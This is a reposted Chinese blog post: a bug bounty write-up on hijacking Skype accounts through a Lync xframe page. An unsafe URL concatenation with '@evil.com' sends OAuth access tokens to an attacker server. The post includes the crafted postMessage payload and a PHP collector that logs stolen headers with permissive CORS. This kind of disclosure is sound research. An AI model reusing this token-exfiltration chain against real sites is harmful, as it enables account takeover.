bug bounty – 绕过限制劫持Skype账号

版权声明:本文为Coisini社区原创内容,未经允许不得转载。 https://blog.csdn.net/kclax/article/details/91506482

在这里插入图片描述
版权声明:本文为博主原创文章,未经博主允许不得转载。
0x00 前言
在使用outlook的过程中,我意外发现了一个URL:https://webdir.xxx.lync.com/xframe。并在这个页面中发现了一处监听message时间的监听器。
在这里插入图片描述
通过阅读代码,发现过程如下:
(1)接受外界的message,抽取出URL,type(类似于command指令),以及一些data、header等。
(2)用这个message中的信息组建一个request对象,并调用了sendRequest方法发送请求。
(3)这些还不够,居然还将http响应体通过postMessage(data, “*”)发送了出来。
因此,我们可以发送一个恶意的message,并且拿到这个域下请求的返回体,是不是一种“跨域http请求”呢?
于是兴奋地去报告给MSRC,结果等了将近一周,被告知,这个webdir.online.lync.com域下是一个公用的域,之所以这样设计是因为任何人都可以访问,于是MSRC说这锅他们那边的产品线不想背,给我一周的时间去证明可以获取敏感数据,否则就要关闭这个issue。
但是直觉告诉我,这个功能并不是针对所有用户的,没人会从一个毫无关系的微软的域里面发送请求并获取html页面,即使有接口是开放给开发者的,也不会用到这么曲折的前端交互,因此我打算深入研究一下。
0x01 深入探索
很多时候,挖不到洞的原因就是没有深入研究,因此这次准备仔细分析一下业务逻辑,寻找问题。
Google搜索了一下这个域名,原来是一个skype的API所在域,但是从Outlook里面看这些API的行为,必须要header带上Access Token才能过认证,比如这样:
在这里插入图片描述
因此,产品线的要求是有其道理的,如果不带上这个header去访问该域下的任何path,实际上都是401或者403错误,因此仅仅提交之前的报告是不可能拿到bounty的。
再去看outlook中交互的Network信息,发现这个Access Token是用OAuth2认证下发的,这跟之前某厂的开放OAuth漏洞的场景有些相似,即access token通过一个三方域postMessage出来,从以往的经验来看这种实现基本都会有些问题。
在这里插入图片描述
从网络交互可以看到,这个XFrame.html实际上是用来接收Oauth2.0认证成功后下发的access token,形式是填充到URL的hash上。然后深入阅读XFrame.html中嵌入的JS代码,发现在sendRequest的时候如果发现hash上有这些信息时,会拼接到header发送出去:
在这里插入图片描述
那么问题来了————如何窃取一个域ajax请求中携带的某个header信息?由于SOP策略的限制,这几乎是不可能的。
继续看代码,发现了一句话:

if (!isTrusted(request.url))
request.url = (location.origin || location.protocol + '//' + location.hostname + (location.port ? ':' + location.port : '')) + extractUrlPath(request.url);

如果发现请求的url不是信任域,那么要拼接成信任域的path。request.url是从message中获取的,因此我们是可控的,注意,这里拼接URL的时候,hostname后面并没有用”/”进行限制,那么我们可以利用@进行跳转,提交“@evil.com/exploitcat/test.php”,request.url就变成了:
https://[email protected]/exploitcat/test.php. 这里在ajax请求的时候实际上就跳转到evil.com这个域上去。
但我们都知道,A域下的ajax去请求B域的内容,虽然是一种跨域的ajax请求,但是请求是可以发出去的,在Chrome下是使用OPTIONS方法去请求一次,因此并不能获取response的内容,因为毕竟有同源策略限制,这个好理解。但是能否在这次OPTIONS请求中带上自定义的一些header呢?经过测试并不可行。
其实用CORS去跨域即可,因为我想从lync.com发出的链接中获取这个携带access token的header信息,跳转的PHP文件就负责收集这个header。如何让A域请求到不同域的内容,设置CORS为*就行了。
但是这里遇到一个坑,如果A域携带了自定义的header,就会报错:
在这里插入图片描述
报错信息为:

XMLHttpRequest cannot load https://evil.com/exploitcat/test.php. Request header field X-Ms-Origin is not allowed by Access-Control-Allow-Headers in preflight response.

加上Access-Control-Allow-Headers这个头即可,这个头表示服务器接受客户端自定义的headers。将所有A域定义的自定义header加入到这个header字段里即可。
所以test.php的内容为:

<?php
header("Access-Control-Allow-Origin: *") ;
header("Access-Control-Allow-Headers: Authorization, X-Ms-Origin, Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With") ;
ini_set('display_errors','On');
file_put_contents('/tmp/res.txt', print_r(getallheaders(),1)) ;
?>

该文件用于获取请求的所有header并保存在/tmp/res.txt中。
攻击过程大致如下:
(1)在攻击者控制的页面中创建一个iframe,src设置为https://login.windows.net/common/oauth2/authorize?xxxxxxxxx, 让用户去访问。在用户登录态下,这个OAuth2.0认证过程成功,并将access token发送到这个URL:https://webdir.online.lync.com#accesstoken=xxxxxxxxxxxx.
(2)当iframe加载完成后,变成了https://webdir.online.lync.com#accesstoken=xxxxxxxxxxxx,我们开始发送恶意的message,大致如下:
data = {“data”: “”, “type”: “GET:22”, “url”: “@evil.com/exploitcat/test.php”} ;
根据前面的分析,由于不正确的URL拼接,sendRequest将携带着包含access token的header发送到。 https://[email protected]/exploitcat/test.php上面,实际跳转到了https://evil.com/exploitcat/test.php 上。
(3)浏览器带着这个敏感的token发送到了test.php上,我们就收到了这个token。
在这里插入图片描述
0x02 Timeline
06-12 – 报告给MSRC
06-12 – MSRC反馈原有报告需要继续深入,要求要拿到敏感数据
06-12 – 重新提交了报告
06-12 – MSRC反馈其产品线已复现问题,正在修复
06-12 – 收到bounty $5500

猜你喜欢

转载自blog.csdn.net/kclax/article/details/91506482
bug